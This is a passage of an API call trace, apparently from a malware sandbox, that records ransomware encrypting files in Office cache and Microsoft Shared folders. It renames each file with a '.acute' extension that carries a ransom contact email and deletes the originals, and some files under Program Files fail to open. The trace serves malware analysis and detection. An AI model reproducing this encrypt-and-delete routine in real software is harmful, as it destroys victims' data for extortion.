(lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.991] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.991] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.992] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.992] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.992] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0049.992] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.992] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x10b2, lpOverlapped=0x0) returned 1 [0049.994] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x10c0) returned 1 [0049.994] WriteFile (in: hFile=0x1a8, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x10c0, lpOverlapped=0x0) returned 1 [0049.995] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0049.995] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.995] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0049.995] CryptDestroyKey (hKey=0x5932e0) returned 1 [0049.995] WriteFile (in: hFile=0x1a8, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0049.995] CryptDestroyKey (hKey=0x593220) returned 1 [0049.995] CloseHandle (hObject=0x1ac) returned 1 [0049.995] CloseHandle (hObject=0x1a8) returned 1 [0049.996] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0049.997] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0049.997] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.997] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=20577) returned 1 [0049.997] CloseHandle (hObject=0x1a8) returned 1 [0049.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0049.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0049.997] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.998] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.998] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0049.998] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0049.998] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0049.998] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0049.998] ReadFile (in: hFile=0x1a8, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x5061, lpOverlapped=0x0) returned 1 [0050.005] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5070, dwBufLen=0x5070 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x5070) returned 1 [0050.005] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x5070, lpOverlapped=0x0) returned 1 [0050.007] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0050.007] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0050.007] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0050.007] CryptDestroyKey (hKey=0x5932e0) returned 1 [0050.007] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0050.007] CryptDestroyKey (hKey=0x593220) returned 1 [0050.007] CloseHandle (hObject=0x1a8) returned 1 [0050.007] CloseHandle (hObject=0x1ac) returned 1 [0050.008] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0050.009] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.009] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.135] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=8723) returned 1 [0050.135] CloseHandle (hObject=0x1b0) returned 1 [0050.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0050.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.135] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.135] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0050.135] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0050.135] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.135] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593060) returned 1 [0050.135] CryptSetKeyParam (hKey=0x593060, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0050.135] ReadFile (in: hFile=0x1b0, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x2213, lpOverlapped=0x0) returned 1 [0050.137] CryptEncrypt (in: hKey=0x593060, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x2220, dwBufLen=0x2220 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x2220) returned 1 [0050.137] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x2220, lpOverlapped=0x0) returned 1 [0050.138] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5930a0) returned 1 [0050.138] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0050.138] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0050.138] CryptDestroyKey (hKey=0x5930a0) returned 1 [0050.138] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0050.138] CryptDestroyKey (hKey=0x593060) returned 1 [0050.138] CloseHandle (hObject=0x1b0) returned 1 [0050.138] CloseHandle (hObject=0x1ac) returned 1 [0050.139] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0050.140] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.687] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=3166) returned 1 [0050.687] CloseHandle (hObject=0x170) returned 1 [0050.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0050.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.688] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.689] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=738) returned 1 [0050.689] CloseHandle (hObject=0x170) returned 1 [0050.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0050.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.689] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.689] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=804) returned 1 [0050.689] CloseHandle (hObject=0x170) returned 1 [0050.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0050.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.690] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.783] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=488) returned 1 [0050.784] CloseHandle (hObject=0x1b0) returned 1 [0050.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0050.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.784] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.893] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2652) returned 1 [0050.893] CloseHandle (hObject=0x170) returned 1 [0050.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0050.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.894] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.894] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2626) returned 1 [0050.894] CloseHandle (hObject=0x170) returned 1 [0050.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0050.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.894] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.895] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2580) returned 1 [0050.895] CloseHandle (hObject=0x170) returned 1 [0050.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0050.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.895] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.896] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2600) returned 1 [0050.896] CloseHandle (hObject=0x170) returned 1 [0050.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0050.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.896] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0050.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 